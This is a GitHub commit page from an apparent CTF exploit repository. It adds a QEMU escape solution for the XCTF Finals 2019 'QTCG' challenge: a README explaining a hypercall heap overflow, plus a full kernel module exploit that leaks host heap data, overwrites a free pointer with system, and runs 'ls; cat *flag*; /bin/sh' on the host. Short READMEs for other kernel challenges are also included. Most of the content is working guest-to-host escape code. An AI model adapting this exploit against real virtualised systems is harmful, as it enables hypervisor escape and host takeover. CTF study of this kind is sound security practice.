forked from BrieflyX/ctf-pwns
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
31 changed files
with
132 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
obj-m = pwn.o | ||
all: build | ||
|
||
build: | ||
make -C ./linux-5.0.5 M=$(PWD) modules | ||
clean: | ||
make -C ./linux-5.0.5 M=$(PWD) clean |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
# QTCG - XCTF Finals 2019 | ||
|
||
This challenge implements a hypercall with `vmmcall` instruction in QEMU TCG. Main logic is in `helper_vmmcall2`. | ||
To call this function, we need to execute `vmmcall` in kernel space and pass argument via `rax`, `rdi`, `rsi` and `rdx`. | ||
The vulnerability is trival that there is arbitrary heap overflow, we can modify `free` pointer to `system`. | ||
|
||
My exploit is a kernel module `pwn.c`. To build `.ko`, we need `linux-5.0.5` source code with `make modules_prepare` executed. The exploit will launch when executing `insmod`, it is quite unstable. |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,98 @@ | ||
#include <linux/init.h> | ||
#include <linux/module.h> | ||
#include <linux/device.h> | ||
#include <linux/kernel.h> | ||
#include <linux/fs.h> | ||
#include <linux/uaccess.h> | ||
#include <linux/slab.h> | ||
#define BUFSIZE 0x100000 | ||
|
||
MODULE_LICENSE("GPL"); | ||
MODULE_AUTHOR("BrieflyX"); | ||
MODULE_DESCRIPTION("Pwn kernel module"); | ||
MODULE_VERSION("0.1"); | ||
|
||
static char *gbuf = NULL; | ||
|
||
static long hcall(int nr, uint64_t arg1, uint64_t arg2, uint64_t arg3) { | ||
long ret; | ||
asm volatile ( "movl %1, %%eax\n" | ||
"movq %2, %%rdi\n" | ||
"movq %3, %%rsi\n" | ||
"movq %4, %%rdx\n" | ||
"vmmcall\n" | ||
"mov %%rax, %0\n" | ||
:"=r"(ret) /* output */ | ||
:"r"(nr), "r"(arg1), "r"(arg2), "r"(arg3) /* input */ | ||
:"%eax", "%rdi", "%rsi", "%rdx" /* clobbered register */ | ||
); | ||
return ret; | ||
} | ||
|
||
long alloc(uint64_t size) { | ||
return hcall(3, size, 0, 0); | ||
} | ||
|
||
long write_to_host(void * addr, uint64_t size) { | ||
return hcall(1, addr, size, 0); | ||
} | ||
|
||
long read_from_host(void * addr, uint64_t size) { | ||
return hcall(2, addr, size, 0); | ||
} | ||
|
||
static int __init pwn_init(void){ | ||
printk(KERN_INFO "Exploit begins\n"); | ||
|
||
gbuf = kmalloc(BUFSIZE, GFP_KERNEL); | ||
uint64_t addr = virt_to_phys(gbuf); | ||
printk(KERN_INFO "[+] Physical address 0x%lx\n", addr); | ||
|
||
int bufsize = 0x8000; | ||
uint64_t free = 0; | ||
uint64_t system = 0; | ||
uint64_t i, idx = 0; | ||
uint64_t *arr = (uint64_t *)gbuf; | ||
|
||
alloc(0x17); | ||
read_from_host(addr, bufsize); | ||
|
||
// Search heap | ||
for (i = 0; i < (bufsize / 8) - 3; i++) { | ||
// printk(KERN_INFO "arr[%d]=%llx\n", i, arr[i]); | ||
if (arr[i] == 0x24 && arr[i+1] == 0x17) { | ||
if ((arr[i+2] >> 40) == 0x7f) { | ||
printk(KERN_INFO "Find one 0x%lx\n", arr[i+2]); | ||
free = arr[i+2]; | ||
idx = i+2; | ||
break; | ||
} | ||
} | ||
} | ||
|
||
if (free != 0) { | ||
// Pwn it! | ||
system = free - 0x97950 + 0x4f440; | ||
printk(KERN_INFO "System @ %lx\n", system); | ||
arr[idx] = system; | ||
strcpy(gbuf, "ls; cat *flag*; /bin/sh\0"); | ||
|
||
write_to_host(addr, bufsize); | ||
|
||
// Trigger system | ||
hcall(4, 0, 0, 0); | ||
return 0; | ||
|
||
} else { | ||
printk(KERN_INFO "Exploit failed!\n"); | ||
} | ||
|
||
return 0; | ||
} | ||
|
||
static void __exit pwn_exit(void){ | ||
printk(KERN_INFO "pwn: Goodbye from the LKM!\n"); | ||
} | ||
|
||
module_init(pwn_init); | ||
module_exit(pwn_exit); |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
#!/bin/sh | ||
|
||
./qemu-system-x86_64 -initrd ./initramfs-busybox-x64.cpio.gz -nographic -kernel ./vmlinuz-5.0.5-generic -append "priority=low console=ttyS0" -monitor /dev/null |
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,3 @@ | ||
# Escape Related or Privilege Escalation | ||
|
||
Become root, own the kernel, and escape from vm. | ||
Escaping related problem, mostly qemu escape. |
File renamed without changes.
File renamed without changes.
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
# Kernel Pwn | ||
|
||
Becoming root! |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
# Blazeme - Blaze CTF 2018 | ||
|
||
External writeup: https://devcraft.io/2018/04/25/blazeme-blaze-ctf-2018.html |
Binary file not shown.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
# Kpets - Facebook CTF 2019 | ||
|
||
External writeup: https://github.com/pr0cf5/CTF-writeups/tree/master/2019/fbctf/kpets |
Binary file not shown.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.